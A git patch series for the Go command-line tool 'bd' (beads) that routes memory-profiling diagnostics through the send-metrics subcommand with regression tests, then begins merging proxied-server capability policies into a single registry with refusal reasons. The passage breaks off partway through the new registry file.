Opus 5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/main.go | 91 +++++++--- cmd/bd/send_metrics.go | 12 +- cmd/bd/send_metrics_diagnostics_test.go | 215 ++++++++++++++++++++++++ 4 files changed, 293 insertions(+), 26 deletions(-) create mode 100644 cmd/bd/send_metrics_diagnostics_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index c920700ef..d36253b97 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -982,6 +982,7 @@ go_test( "search_embedded_test.go", "search_proxied_integration_test.go", "search_test.go", + "send_metrics_diagnostics_test.go", "serve_batch_close_proxied_integration_test.go", "serve_claim_next_proxied_integration_test.go", "serve_claim_proxied_integration_test.go", diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 6b8889989..4911641df 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -2232,31 +2232,9 @@ var rootCmd = &cobra.Command{ _ = traceFile.Close() // Best effort cleanup } - // Heap profiling: --mem-profile flag or BEADS_MEM_PROFILE env var. - // Runs a GC first by default; BEADS_MEM_PROFILE_NOGC=1 skips it to capture peak. - heapDest := memProfilePath - if heapDest == "" { - heapDest = os.Getenv("BEADS_MEM_PROFILE") - } - if heapDest != "" { - if os.Getenv("BEADS_MEM_PROFILE_NOGC") == "" { - runtime.GC() - } - if f, err := os.Create(heapDest); err == nil { // #nosec G304 -- user-supplied profiling path - _ = pprof.WriteHeapProfile(f) - _ = f.Close() - } - } - // Optional one-line MemStats summary: BEADS_MEM_STATS=/path/to/stats.txt - if statsDest := os.Getenv("BEADS_MEM_STATS"); statsDest != "" { - var ms runtime.MemStats - runtime.ReadMemStats(&ms) - if f, err := os.Create(statsDest); err == nil { // #nosec G304 -- user-supplied profiling path - fmt.Fprintf(f, "HeapAlloc=%d HeapSys=%d HeapInuse=%d HeapObjects=%d\n", - ms.HeapAlloc, ms.HeapSys, ms.HeapInuse, ms.HeapObjects) - _ = f.Close() - } - } + // Heap profiling / MemStats summary: --mem-profile flag or + // BEADS_MEM_PROFILE / BEADS_MEM_STATS env vars. See writeMemDiagnostics. + writeMemDiagnostics(memProfilePath) // The signal context is canceled and cleared by the deferred hook // registered at the top of this function, so that it also covers the @@ -2265,6 +2243,69 @@ var rootCmd = &cobra.Command{ }, } +// flusherDiagnosticsSuffix separates the detached send-metrics child's memory +// diagnostics from the parent command's. See memDiagnosticsDest. +const flusherDiagnosticsSuffix = ".send-metrics" + +// memDiagnosticsDest returns the destination writeMemDiagnostics should write +// dest to, suffixed when this process is the detached flusher child. +// +// MaybeSpawnFlusher hands the child the parent's environment minus the endpoint +// (flusherChildEnv in internal/metrics/spawn.go), so BEADS_MEM_PROFILE and +// BEADS_MEM_STATS arrive holding the same absolute paths the parent resolved. +// The spawn happens on main()'s post-ExecuteC tail, i.e. after +// PersistentPostRunE already wrote them, so an unsuffixed child would silently +// replace the profile of the command the user actually asked about with a +// profile of the trivial flusher -- no error, no size anomaly. Error exits are +// worse: CheckReadonly and the pre-run gates call CloseAndFlush while +// PersistentPostRunE never runs, leaving the child's file as the only one. +// +// BD_IS_FLUSHER=1 is set only by flusherChildEnv, so a human running +// `bd send-metrics` directly still gets the plain path. The suffix is applied +// to the resolved destination, after the flag/env fallback, so both knobs and +// both sources follow one rule. +func memDiagnosticsDest(dest string) string { + if dest == "" || os.Getenv(metrics.EnvIsFlusher) != "1" { + return dest + } + return dest + flusherDiagnosticsSuffix +} + +// writeMemDiagnostics honors the heap-profile and MemStats diagnostic knobs +// (--mem-profile / BEADS_MEM_PROFILE / BEADS_MEM_PROFILE_NOGC / BEADS_MEM_STATS). +// memProfileFlag is the --mem-profile flag value, which wins over +// BEADS_MEM_PROFILE. Both call sites pass memProfilePath: --mem-profile is +// registered on rootCmd.PersistentFlags(), so every subcommand inherits it, +// including the hidden send-metrics one -- which calls this directly because its +// Run exits before Cobra ever reaches PersistentPostRunE below. +func writeMemDiagnostics(memProfileFlag string) { + // Runs a GC first by default; BEADS_MEM_PROFILE_NOGC=1 skips it to capture peak. + heapDest := memProfileFlag + if heapDest == "" { + heapDest = os.Getenv("BEADS_MEM_PROFILE") + } + heapDest = memDiagnosticsDest(heapDest) + if heapDest != "" { + if os.Getenv("BEADS_MEM_PROFILE_NOGC") == "" { + runtime.GC() + } + if f, err := os.Create(heapDest); err == nil { // #nosec G304 -- user-supplied profiling path + _ = pprof.WriteHeapProfile(f) + _ = f.Close() + } + } + // Optional one-line MemStats summary: BEADS_MEM_STATS=/path/to/stats.txt + if statsDest := memDiagnosticsDest(os.Getenv("BEADS_MEM_STATS")); statsDest != "" { + var ms runtime.MemStats + runtime.ReadMemStats(&ms) + if f, err := os.Create(statsDest); err == nil { // #nosec G304 -- user-supplied profiling path + fmt.Fprintf(f, "HeapAlloc=%d HeapSys=%d HeapInuse=%d HeapObjects=%d\n", + ms.HeapAlloc, ms.HeapSys, ms.HeapInuse, ms.HeapObjects) + _ = f.Close() + } + } +} + func shouldRunPostCommandAutoExport(cmd *cobra.Command) bool { if cmd == nil { return true diff --git a/cmd/bd/send_metrics.go b/cmd/bd/send_metrics.go index 1db9b5675..e84d49c4a 100644 --- a/cmd/bd/send_metrics.go +++ b/cmd/bd/send_metrics.go @@ -18,7 +18,17 @@ var sendMetricsCmd = &cobra.Command{ // send-metrics. MaybeSpawnFlusher also refuses to spawn when EnvIsFlusher // is set on this process, so the no-recursion guarantee is structural and // not solely dependent on this exit. - os.Exit(metrics.RunSendMetrics()) + // + // That same early exit means this Run returns before Cobra ever reaches + // PersistentPostRunE in main.go, so --mem-profile/BEADS_MEM_PROFILE/ + // BEADS_MEM_STATS are silently inert for this subcommand unless honored + // here directly (be-wwy2.2). --mem-profile is registered on + // rootCmd.PersistentFlags(), so this hidden command inherits it and + // prints it in --help; pass memProfilePath exactly as PersistentPostRunE + // does, or the advertised flag would be parsed and then discarded. + code := metrics.RunSendMetrics() + writeMemDiagnostics(memProfilePath) + os.Exit(code) }, } diff --git a/cmd/bd/send_metrics_diagnostics_test.go b/cmd/bd/send_metrics_diagnostics_test.go new file mode 100644 index 000000000..78f29dbfa --- /dev/null +++ b/cmd/bd/send_metrics_diagnostics_test.go @@ -0,0 +1,215 @@ +package main + +import ( + "compress/gzip" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "testing" + + "github.com/steveyegge/beads/internal/metrics" +) + +// memStatsLine is the exact shape writeMemDiagnostics' MemStats summary writes. +var memStatsLine = regexp.MustCompile(`^HeapAlloc=\d+ HeapSys=\d+ HeapInuse=\d+ HeapObjects=\d+\n$`) + +// requireHeapProfile fails unless path holds a real heap profile. +// runtime/pprof.WriteHeapProfile always gzips its protobuf output, so +// decompressing cleanly to a non-empty body is strong evidence a genuine profile +// was written -- without pulling in a pprof-parsing dependency just for this +// test. knob names the surface under test so a failure says which one broke. +func requireHeapProfile(t *testing.T, knob, path string) { + t.Helper() + f, err := os.Open(path) + if err != nil { + t.Fatalf("%s file was not written: %v", knob, err) + } + defer f.Close() + gz, err := gzip.NewReader(f) + if err != nil { + t.Fatalf("%s is not valid gzip: %v", knob, err) + } + body, err := io.ReadAll(gz) + if err != nil { + t.Fatalf("%s gzip stream corrupt: %v", knob, err) + } + if len(body) == 0 { + t.Fatalf("%s decompressed to 0 bytes, want a real heap profile", knob) + } +} + +// TestSendMetricsHonorsMemDiagnostics is the be-wwy2.2 regression: send-metrics's +// Run calls os.Exit() directly, so it returns before Cobra ever reaches +// PersistentPostRunE (main.go) -- the one place --mem-profile / BEADS_MEM_PROFILE / +// BEADS_MEM_PROFILE_NOGC / BEADS_MEM_STATS are honored for every other bd +// subcommand. That makes the diagnostic tooling unreachable for the one child +// process that runs on the tail of nearly every bd invocation fleet-wide. +// +// This builds a real bd binary and exercises `bd send-metrics` as a subprocess +// (like MaybeSpawnFlusher does in production) rather than calling RunSendMetrics +// in-process, because the bug is specifically about the Cobra command-tree +// wiring around this subcommand, which only an actual subprocess run exercises. +func TestSendMetricsHonorsMemDiagnostics(t *testing.T) { + bdBin := buildBDForInitTests(t) + + // send-metrics returns from PersistentPreRunE before any workspace/store + // setup (main.go: `if cmd.Name() == metrics.SendMetricsSubcommand { return nil }`), + // so no .beads workspace is needed here. BD_DISABLE_METRICS=1 makes + // RunSendMetrics's Enabled() check false, so it returns 0 right after a + // no-op prune of the (nonexistent) queue dir -- deterministic and offline, + // with no real network attempt. + baseEnv := func(home string) []string { + return []string{ + "HOME=" + home, + "PATH=" + os.Getenv("PATH"), + "BD_DISABLE_METRICS=1", + } + } + + t.Run("default with no diagnostics env vars is unaffected", func(t *testing.T) { + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = baseEnv(t.TempDir()) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + if len(out) != 0 { + t.Fatalf("bd send-metrics produced output with no diagnostics requested: %q", out) + } + }) + + t.Run("BEADS_MEM_STATS writes a one-line MemStats summary", func(t *testing.T) { + statsPath := filepath.Join(t.TempDir(), "stats.txt") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_STATS="+statsPath) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + data, err := os.ReadFile(statsPath) + if err != nil { + t.Fatalf("BEADS_MEM_STATS file was not written: %v", err) + } + if !memStatsLine.Match(data) { + t.Fatalf("BEADS_MEM_STATS content = %q, want match of %s", data, memStatsLine) + } + }) + + t.Run("BEADS_MEM_PROFILE writes a valid gzipped heap profile", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "heap.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_PROFILE="+profilePath) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + requireHeapProfile(t, "BEADS_MEM_PROFILE", profilePath) + }) + + // --mem-profile is registered on rootCmd.PersistentFlags() (main.go), so this + // hidden subcommand inherits it and advertises it in --help. The call site + // used to hardcode "", which parsed the flag and then discarded it -- the same + // "accepted but silently inert" state be-wwy2.2 exists to remove, one line + // below the fix. No BEADS_MEM_PROFILE here, so only the flag can produce the + // file. + t.Run("--mem-profile flag is honored, not just the env var", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "flag.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand, "--mem-profile="+profilePath) + cmd.Env = baseEnv(t.TempDir()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics --mem-profile: %v\noutput: %s", err, out) + } + requireHeapProfile(t, "--mem-profile", profilePath) + }) + + // The detached flusher child inherits the parent's BEADS_MEM_* paths verbatim + // (flusherChildEnv strips only the endpoint and the flusher marker), and + // MaybeSpawnFlusher runs on main()'s post-ExecuteC tail -- after + // PersistentPostRunE already wrote them. Without a distinct destination the + // child's trivial profile would silently replace the profile of the command + // the user actually asked about. BD_IS_FLUSHER=1 is what production sets on + // the child, so driving it here is the real shape, not a contrivance. + t.Run("flusher child writes beside the parent's files instead of over them", func(t *testing.T) { + dir := t.TempDir() + profilePath := filepath.Join(dir, "heap.pprof") + statsPath := filepath.Join(dir, "stats.txt") + + // Stand in for the parent command's own writeMemDiagnostics call, which + // has already happened by the time the flusher is spawned. + parentProfile := []byte("parent heap profile, must survive the spawn\n") + parentStats := []byte("parent memstats, must survive the spawn\n") + if err := os.WriteFile(profilePath, parentProfile, 0o600); err != nil { + t.Fatalf("seed parent profile: %v", err) + } + if err := os.WriteFile(statsPath, parentStats, 0o600); err != nil { + t.Fatalf("seed parent stats: %v", err) + } + + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), + "BEADS_MEM_PROFILE="+profilePath, + "BEADS_MEM_STATS="+statsPath, + metrics.EnvIsFlusher+"=1", + ) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics as flusher child: %v\noutput: %s", err, out) + } + + // The parent's data is untouched, byte for byte. + if got, err := os.ReadFile(profilePath); err != nil { + t.Fatalf("parent profile disappeared: %v", err) + } else if string(got) != string(parentProfile) { + t.Fatalf("flusher child overwrote the parent's heap profile: got %q, want %q", got, parentProfile) + } + if got, err := os.ReadFile(statsPath); err != nil { + t.Fatalf("parent stats disappeared: %v", err) + } else if string(got) != string(parentStats) { + t.Fatalf("flusher child overwrote the parent's MemStats: got %q, want %q", got, parentStats) + } + + // ...and the child's own diagnostics are still produced, just beside + // them. This is the half that distinguishes suffixing the destination + // from simply scrubbing the vars out of the child's environment, which + // would reinstate the inertness be-wwy2.2 removes. + requireHeapProfile(t, "flusher child BEADS_MEM_PROFILE", profilePath+".send-metrics") + childStats, err := os.ReadFile(statsPath + ".send-metrics") + if err != nil { + t.Fatalf("flusher child wrote no MemStats of its own: %v", err) + } + if !memStatsLine.Match(childStats) { + t.Fatalf("flusher child MemStats content = %q, want match of %s", childStats, memStatsLine) + } + }) + + t.Run("BEADS_MEM_PROFILE_NOGC is accepted and still writes the profile", func(t *testing.T) { + profilePath := filepath.Join(t.TempDir(), "heap.pprof") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + cmd.Env = append(baseEnv(t.TempDir()), "BEADS_MEM_PROFILE="+profilePath, "BEADS_MEM_PROFILE_NOGC=1") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bd send-metrics: %v\noutput: %s", err, out) + } + if _, err := os.Stat(profilePath); err != nil { + t.Fatalf("BEADS_MEM_PROFILE file was not written under NOGC: %v", err) + } + }) + + t.Run("diagnostics still run and exit code is preserved when RunSendMetrics fails", func(t *testing.T) { + statsPath := filepath.Join(t.TempDir(), "stats.txt") + cmd := exec.Command(bdBin, metrics.SendMetricsSubcommand) + // Deliberately no HOME: DataDir()'s os.UserHomeDir() fails + // deterministically and offline, so RunSendMetrics() returns 1 before + // ever reaching the enabled/network checks. + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BEADS_MEM_STATS=" + statsPath} + out, err := cmd.CombinedOutput() + exitErr, ok := err.(*exec.ExitError) + if !ok { + t.Fatalf("bd send-metrics: want a non-zero *exec.ExitError, got %v (%T)\noutput: %s", err, err, out) + } + if code := exitErr.ExitCode(); code != 1 { + t.Fatalf("bd send-metrics exit code = %d, want 1 (RunSendMetrics's own failure code, preserved through the fix)", code) + } + if _, statErr := os.Stat(statsPath); statErr != nil { + t.Fatalf("BEADS_MEM_STATS file was not written even though the command failed: %v", statErr) + } + }) +} From eac25975579953677845ec98bd5dd73f313e058e Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 22 Sep 2026 15:12:46 -0700 Subject: [PATCH 180/624] refactor(proxy): one capability registry with a reason on every refusal (proxied-parity S2) (#6582) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * refactor(proxy): one capability registry, with a reason on every refusal Proxied-server policy lived in three path tables (a maintenance refusal map, a history classification map, a transform row list), each with its own lookup and its own front-door validator, plus a flag matrix. Nothing forced a new command to appear in any of them, so an unclassified command sailed past the gate and died in the store factory with `proxy server store should be uow provider`. That — not the table count — was the root problem. One table now (cmd/bd/capability_registry.go), and a test that fails when a runnable command is missing from it. Adding a command is no longer a place where policy can be forgotten: it is a build failure until someone decides whether the proxied front door lets it through. Every refusal carries a Reason: `design` where refusing is correct and expected to stay (shared history, multi-repo routing, destructive admin, storage-format surgery, strict --readonly), `unimplemented` where it is a gap with a named owner. The reason renders in the refusal JSON, additive to the frozen {code, error, mutates} contract, and is omitted on refusals that report a runtime state rather than a policy so a consumer keying on its presence is never told "" by mistake. The registry also inventories the 57 untyped refusals commands raise from their own RunE. Those rows are not enforced — converting them changes observable output and belongs to the slice that owns each family — but a source scan now keeps the inventory honest in both directions. The store-factory backstop is typed as `proxy.store.unrouted`, the unreachable duplicate readonly refusal in main.go is gone (the proxied branch above it already returns for the only config that reaches it), and with it `backendSupportsStrictReadonly`, which had no other caller. No outcome changes. Every code, message and exit status is identical, which #6576's five-topology matrix proves: 90/90 cells unchanged (HONORED 47, REFUSED_TYPED 24 = 4 design + 20 unimplemented, ERROR 12, WRONG_ANSWER 4, DEGRADED 3), all five topologies exercised, no skips. Co-Authored-By: Claude Fable 5 * refactor(proxy): `migrate hooks` is an unimplemented refusal, not a design one The registry filed `migrate hooks` under "storage-format and workspace surgery against a store other clients may be holding open". That rationale does not describe it: migrate_hooks.go plans and applies GIT HOOK FILE migration through doctor.PlanHookMigration, on the local filesystem, and opens no store at all. Left as it was, proxied-local — the default topology since 1.3.0 — loses the command permanently, because `design` tells every later slice the refusal is semantic and settled. It is not settled, but it is also not free to lift, and the difference is structural rather than semantic. `migrate hooks` appears on none of main.go's store-init skip lists, so permitting it makes the root pre-run open the proxied provider before RunE runs. Measured with the row flipped to permitted, not reasoned about: on a managed-local workspace `bd migrate hooks --dry-run` started the proxy AND its dolt child — both pidfiles present — to print a hook plan for five missing hooks, and on a workspace with an unreadable sidecar it exited 1 with "failed to open uow provider: corrupt proxied-server sidecar ..." where it had cleanly refused before. Trading a typed refusal for a provider-open error is not a lift. So: Reason=unimplemented with a Tracking item that names the actual work — put the command on the store-init skip list first, then permit it — which is S7's, not this slice's. No outcome changes; the row still refuses with the same code, message and exit status. The registry header now says that permitting a path costs a provider open, since that is the fact this row turns on and the one the completeness test cannot see. Also leaves S7 an explicit instruction on the rows next door. `migrate issues`, `migrate-personal` and `admin cleanup`/`admin reset` claim `design` on a topology-blind rationale — "a store other clients may be holding open", "destructive against a possibly-shared store" — that describes external and team-server workspaces and does not describe managed-local, which is 1:1 and bd-owned. They are not reclassified here: the table cannot yet express "refused, except on managed-local", and narrowing them is semantic work nobody has done. The comments now say that is why, so the next reader does not mistake conservatism for a considered verdict. Co-Authored-By: Claude Fable 5 --------- Co-authored-by: Claude Fable 5 (cherry picked from commit 7ccb961f778367fc19ca686c2e9a28d5e161bce1) --- CHANGELOG.md | 15 + cmd/bd/capability_registry.go | 569 ++++++++++++++++++ ...go => capability_registry_history_test.go} | 12 +- cmd/bd/capability_registry_test.go | 399 ++++++++++++ ... => capability_registry_transform_test.go} | 27 +- cmd/bd/errors.go | 8 + cmd/bd/history_capability.go | 28 - cmd/bd/main.go | 21 +- cmd/bd/migrate_dolt_mode.go | 5 + cmd/bd/proxy_capability.go | 183 +++--- cmd/bd/proxy_capability_test.go | 14 +- cmd/bd/readonly_policy_test.go | 20 - cmd/bd/serve.go | 2 +- cmd/bd/store_factory.go | 21 +- cmd/bd/store_factory_nocgo.go | 21 +- cmd/bd/transform_capability.go | 90 --- 16 files changed, 1106 insertions(+), 329 deletions(-) create mode 100644 cmd/bd/capability_registry.go rename cmd/bd/{history_capability_test.go => capability_registry_history_test.go} (92%) create mode 100644 cmd/bd/capability_registry_test.go rename cmd/bd/{transform_capability_test.go => capability_registry_transform_test.go} (88%) delete mode 100644 cmd/bd/history_capability.go delete mode 100644 cmd/bd/transform_capability.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 651478e16..f8ba307ec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +### Changed + +- **Proxied-server refusals now say *why* they refuse.** The JSON a refused + command prints gains a `reason` field next to the existing `code`, `error` + and `mutates`: `design` for a refusal that is expected to stay (shared + history, multi-repo routing, destructive admin, strict `--readonly`) and + `unimplemented` for a capability gap with a named owner. Every existing code, + message and exit status is unchanged, and `reason` is absent on refusals that + report a runtime state rather than a policy, so existing consumers are + unaffected. The policy behind it moved into one registry + (`cmd/bd/capability_registry.go`) that every command must appear in. +- **A command with no proxied-server route now fails with a typed error** + (`proxy.store.unrouted`) instead of the bare string `proxy server store + should be uow provider`. + ## [1.3.1] - 2026-09-16 ### Changed diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go new file mode 100644 index 000000000..276650bbe --- /dev/null +++ b/cmd/bd/capability_registry.go @@ -0,0 +1,569 @@ +package main + +import ( + "sort" + "strings" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// The proxied-server capability registry: one table for every command path. +// +// Before this file the policy lived in three separate tables — a maintenance +// refusal map, a history classification map, and a transform row list — each +// with its own lookup and its own front-door validator. Nothing forced a new +// command to appear in any of them, so an unclassified command sailed past the +// gate and died deep in the store factory with an untyped error. The fix is not +// a fourth table: it is one table plus a test that fails when a command is +// missing from it (TestProxyCapabilityRegistryCoversCommandTree). +// +// WHAT A ROW MEANS. Outcome describes what the PRE-PROVIDER GATE does with the +// path on a proxied-server workspace, nothing more: +// +// ProxyOutcomeRefused the gate refuses with a typed ProxyCapabilityError +// before any workspace side effect +// ProxyOutcomeRefusedInRunE the gate lets the path through and the command +// refuses inside its own RunE with an untyped +// string; recorded here so the untyped surface is +// inventoried rather than invisible. Not enforced. +// ProxyOutcomeHonored the gate lets the path through. It does NOT +// promise a proxied route exists: a permitted +// command with no route still fails at the store +// factory with proxy.store.unrouted. +// +// Permitting a path also COSTS something, and the cost is invisible from this +// table: unless the command is on one of main.go's store-init skip lists, the +// root pre-run opens the proxied provider before RunE runs — which starts the +// proxy and its dolt child, creates the database and migrates the schema. For a +// command that genuinely uses the store that is the point. For a store-free one +// it is pure side effect, and on a workspace whose topology cannot be resolved +// it turns a clean typed refusal into a provider-open error. So "this command +// touches no store" is an argument for permitting it only once the command is +// also off the store-init path; see the `migrate hooks` row. Nothing here +// asserts that, and TestProxyCapabilityRegistryCoversCommandTree cannot see it. +// +// REASON is the load-bearing field. "design" means refusing is correct and is +// expected to stay that way — the semantics are undefined or unsafe against a +// backend that may be shared. "unimplemented" means the refusal is a capability +// gap with a named slice that closes it, and Tracking says which. Every later +// slice measures itself by turning "unimplemented" rows into honored ones; the +// count of remaining "unimplemented" rows is the completion signal for the whole +// proxied-parity effort. Assign the field row by row, from the command's actual +// semantics — a bulk assignment would destroy the only information it carries. +// +// The reason also renders in the refusal JSON, additive to the frozen +// {code, error, mutates} contract (see buildJSONCapabilityError). Codes are +// frozen; messages are informative-only. + +// ProxyRefusalReason distinguishes a deliberate policy refusal from a +// not-yet-built one. +type ProxyRefusalReason string + +const ( + // ProxyReasonDesign: the command is refused on purpose and is expected to + // stay refused. Lifting it would need a semantic decision, not plumbing. + ProxyReasonDesign ProxyRefusalReason = "design" + // ProxyReasonUnimplemented: the command could work over the proxied + // provider; nobody has routed it yet. Tracking names the work item. + ProxyReasonUnimplemented ProxyRefusalReason = "unimplemented" +) + +// Tracking values name the plan-of-record work item for an unimplemented +// refusal. These are the slices of the proxied-parity plan; a row gets a GitHub +// issue or bead ID instead once one is filed for it. +const ( + trackBackup = "proxied-parity S3 (backup/restore family)" + trackVersionCtl = "proxied-parity S4 (dolt commit/push/pull/remote)" + trackSync = "proxied-parity S5 (bd sync)" + trackDegradation = "proxied-parity S6 (doctor, config show, degradations)" + trackLongTail = "proxied-parity S7 (long-tail policy pass)" +) + +// capabilityRow is one command-path policy row. ArgSet is the sorted set of +// execution-altering flags that were set (for example "--auto-merge --dry-run"), +// empty for the bare path; a row keyed on an ArgSet wins over the bare row, which +// is how `duplicates --auto-merge --dry-run` stays honored while +// `duplicates --auto-merge` is refused. +type capabilityRow struct { + Path string + ArgSet string + Rule proxyCapabilityRule + History HistoryCapabilityClass + Note string +} + +// display renders the row's key the way its refusal message names it. +func (r capabilityRow) display() string { + if r.ArgSet == "" { + return r.Path + } + return r.Path + " " + r.ArgSet +} + +func (r capabilityRow) withHistory(class HistoryCapabilityClass) capabilityRow { + r.History = class + return r +} + +// asParentGroup marks a row whose path is a command GROUP. Cobra answers a +// non-runnable parent with its help text before PersistentPreRunE, so the gate +// never sees it; the row is kept because it is the parent every child row +// inherits its code from, and because a parent that later gains a Run must not +// silently become permitted. +func (r capabilityRow) asParentGroup() capabilityRow { + r.Note = "parent group: cobra shows help instead of reaching the gate" + return r +} + +func (r capabilityRow) withMessage(message string) capabilityRow { + r.Rule.Message = message + return r +} + +// refusedPath builds a typed front-door refusal for a bare command path. +func refusedPath(path, code string, reason ProxyRefusalReason, tracking string) capabilityRow { + return refusedArgs(path, "", code, reason, tracking) +} + +// refusedArgs builds a typed front-door refusal keyed on a flag set. +func refusedArgs(path, argSet, code string, reason ProxyRefusalReason, tracking string) capabilityRow { + row := capabilityRow{Path: path, ArgSet: argSet} + row.Rule = proxyCapabilityRule{ + Outcome: ProxyOutcomeRefused, + Code: code, + Message: row.display() + " is not supported in proxied-server mode", + ExitCode: 1, + Reason: reason, + Tracking: tracking, + } + return row +} + +// refusedInRunE records a command that the gate permits and that then refuses +// itself with an untyped string from RunE. The row carries no message: the +// string lives in the command, and duplicating it here would rot. The scan in +// TestProxyCapabilityRegistryCoversInlineRefusals keeps the two in step. +// +// The reason is always "unimplemented" and the owner is always the long-tail +// slice, because an untyped string inside RunE is not a considered policy +// statement: a refusal decided on purpose belongs in the gate, typed, where a +// consumer can read it. Anything here is a family nobody has routed yet. +func refusedInRunE(path, site string) capabilityRow { + return capabilityRow{ + Path: path, + Rule: proxyCapabilityRule{ + Outcome: ProxyOutcomeRefusedInRunE, ExitCode: 1, + Reason: ProxyReasonUnimplemented, Tracking: trackLongTail, + }, + Note: "untyped refusal in " + site, + } +} + +// permitted records that the gate lets a path through. See the header: this is +// a statement about the gate, not a promise that a proxied route exists. +func permitted(path string) capabilityRow { + return capabilityRow{Path: path, Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}} +} + +// proxyCapabilityRegistry is the whole path-keyed policy. Rows for permitted +// paths are appended from proxyPermittedPaths by init. +var proxyCapabilityRegistry = []capabilityRow{ + // --- doctor ------------------------------------------------------------- + // Diagnosis needs no version-control surface; the checks simply have no + // proxied dual yet. S6 splits them into client-local and store-backed. + refusedPath("doctor", "proxy.doctor.unsupported", ProxyReasonUnimplemented, trackDegradation), + + // --- backup / restore --------------------------------------------------- + // CALL DOLT_BACKUP(...) is pure SQL over a connection proxied mode already + // owns, so this family is plumbing, not policy. Locality policy (file:// + // URLs naming the server's filesystem on external topologies) is decided + // per topology when S3 lands. + refusedPath("backup", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup). + asParentGroup(), + refusedPath("backup init", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup sync", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup remove", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup status", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + refusedPath("backup restore", "proxy.backup.unsupported", ProxyReasonUnimplemented, trackBackup), + + // --- version control over a shared history ------------------------------ + // Refused by design: these mutate or traverse a history that several + // clients share through one connection, and the per-client semantics + // (whose working set? whose branch head?) are undefined. `diff` is the one + // plausible 1.4 candidate, via the dolt_diff system tables. + refusedPath("branch", "proxy.branch.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly), + refusedPath("diff", "proxy.diff.unsupported", ProxyReasonDesign, "1.4 candidate: dolt_diff system tables"), + refusedPath("flatten", "proxy.flatten.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly), + refusedPath("conflicts", "proxy.conflicts.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("conflicts list", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("conflicts show", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("conflicts resolve", "proxy.conflicts.unsupported", ProxyReasonDesign, ""), + refusedPath("vc", "proxy.vc.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("vc merge", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("vc commit", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("vc status", "proxy.vc.unsupported", ProxyReasonDesign, ""), + refusedPath("federation", "proxy.federation.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("federation sync", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation status", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation add-peer", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation remove-peer", "proxy.federation.unsupported", ProxyReasonDesign, ""), + refusedPath("federation list-peers", "proxy.federation.unsupported", ProxyReasonDesign, ""), + + // --- multi-repo routing ------------------------------------------------- + // Routing to another workspace bypasses the proxied root entirely, which is + // the same reason --repo is N/A mode-wide. + refusedPath("repo", "proxy.repo.unsupported", ProxyReasonDesign, ""). + withHistory(HistoryDirectOnly). + asParentGroup(), + refusedPath("repo add", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo remove", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo list", "proxy.repo.unsupported", ProxyReasonDesign, ""), + refusedPath("repo sync", "proxy.repo.unsupported", ProxyReasonDesign, ""), + + // --- dolt version-control verbs ----------------------------------------- + // CALL DOLT_PUSH/DOLT_PULL/DOLT_COMMIT are SQL procedures and the generic + // repository that wraps them is already written; these need a use case and + // a route, not proxy work. `dolt remote remove` is already routed, which is + // the precedent. + refusedPath("dolt commit", "proxy.dolt_commit.unsupported", ProxyReasonUnimplemented, trackVersionCtl). + withHistory(HistoryDirectOnly), + refusedPath("dolt push", "proxy.dolt_push.unsupported", ProxyReasonUnimplemented, 